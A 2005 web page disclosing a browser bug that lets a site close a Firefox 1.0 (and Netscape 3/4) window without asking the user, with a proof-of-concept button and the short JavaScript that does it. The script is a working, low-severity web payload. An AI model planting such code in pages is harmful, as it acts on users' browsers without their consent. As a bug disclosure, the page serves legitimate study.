Firefox exploit

When Netscape 3 was released in 1996 it contained a bug making it possible for a website to shut down the browser window without asking the user.

The exact same bug existed in Netscape 4 when it was released.

When I found about this bug many years ago I published it on my (Swedish) website JavaScript.nu (where I have also presented scripts to crash Explorer 4 and 5 with JavaScript).

Now in 2005, 9 years after Netscape 3 was first released, I see that the exact same bug exists in Firefox 1.0 (which uses code from Netscape).


Proof of Concept
To try this bug, just press the button below and your browser window will close without warning you.

Yes I understand this will close my browser window
You might want to bookmark this website or open another browser window with this site if you want be able to come back after your browser has been closed.


The source that closes the window is:

<SCRIPT LANGUAGE="javascript">
<!--
//   Script to close browser - NN3, NN4, Firefox 1.0.
//   By Omid Rouhani at www.JavaScript.nu

//Make current window "_top"
window.top.open("","_top");
//User will not be asked before closing
window.top.close();

//-->
</SCRIPT>




Copyright © Omid Rouhani 1997-2005; All rights reserved.
Go to www.JavaScript.nu.

Valid HTML 4.01! Valid CSS!